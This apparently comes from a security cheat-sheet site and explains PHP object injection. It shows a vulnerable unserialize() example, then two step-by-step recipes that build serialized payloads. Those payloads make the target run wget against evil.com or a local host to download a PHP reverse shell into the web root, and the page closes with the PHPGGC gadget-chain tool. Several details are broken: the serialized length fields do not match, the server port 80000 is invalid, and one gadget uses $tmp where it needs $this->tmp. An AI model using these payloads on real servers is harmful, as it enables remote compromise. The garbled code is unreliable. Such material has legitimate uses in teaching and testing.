PHP Object Injection

Last modified: 2023-03-09

Web

PHP Object Injection is a type of vulnerability that can occur when untrusted user input is deserialized in a PHP application.

Investigation

Below is an example of an index.php in PHP web application.

<?php

class Example {
    public $file = 'example.txt';
    public $msg = 'Hello World';
	
    public function SomeFunc() {
        // Some code ...
    }

    public function __destruct() {
        file_put_contents(__DIR__ . '/' . $this->file,$this->msg,FILE_APPEND);
    }
}

$data = unserialize($_GET['data']);

// Some code ...

?>

This code adds a text file named example.txt, that contains "Hello World" strings, into the web root directory. If the "data" parameter (/?data=...) is given, this value will be unserialized by unserialize() method.
In short, we can inject the serialized malicious code to the value of the data parameter.

Then access to https://example.com/?data=<serialized_code_here> then our arbitrary code will be executed.
For example,

http://example.com/?data=O:8:"Example":1:{s:10:"msg";s:15:"<?php system('wget http://evil.com:8000/shell.php -O shell.php'); ?>";}

Exploitation 1

Assumes the above situation (”index.php” in the “Investigation” section).
We generate the serialized data and inject it to the “data” parameter.

1. Generate a Serialized Malicious Object

Create a malicious “Example” class contains __destruct() method in PHP.
This script add the “download.php”, which downloads a PHP reverse shell script, into the web root directory. Then prints the URL encoded serialized “Example” class.

Replace <local-ip> with your local ip address.

<?php

class Example {
    public $file = 'download.php';
    public $msg = "<?php system('wget http://<local-ip>:8000/shell.php -O shell.php'); ?>";

    public function SomeFunc() {
        // Some code ...
    }

    public function __destruct() {
        file_put_contents(__DIR__ . '/' . $this->file,$this->msg,FILE_APPEND);
    }

}

print urlencode(serialize(new Example));
?>

Then generate a deserialized data.

php generate.php

Copy the output data.

2. Download a Reverse Shell Script.

In local machine, start local web server where the PHP reverse shell script located.

python3 -m http.server 80000

Now access to https://example.com/?data=<serialized_data_here>.

http://example.com/?data=O:8:"Example":1:{s:10:"msg";s:15:"<?php system('wget http://evil.com:8000/shell.php -O shell.php'); ?>";}

By this, our PHP reverse shell script is download to the target web root (e.g. https://example.com/shell.php).


Exploitation 2

First off, prepare the reverse shell script (shell.php) in local machine and start web server.
Then create a maliciou payload as follow.

<?php

class Example {
    public $tmp = "http://evil.com/shell.php";
    public $imgPath = "./shell.php";

    public function __wakeup() {
        $f = fopen($this->imgPath, "w");
        fwrite($f, file_get_contents($tmp));
        fclose($f);
    }
}

$payload = base64_encode(serialize(new Example));
echo $payload;
?>

Now run it in terminal.

php payload.php

Copy the output and paste it to where the payload affects.


Automation

PHPGGC is a library of PHP unserialize() payloads along with a tool to generate them.

# List all gadeget chains
phpggc -l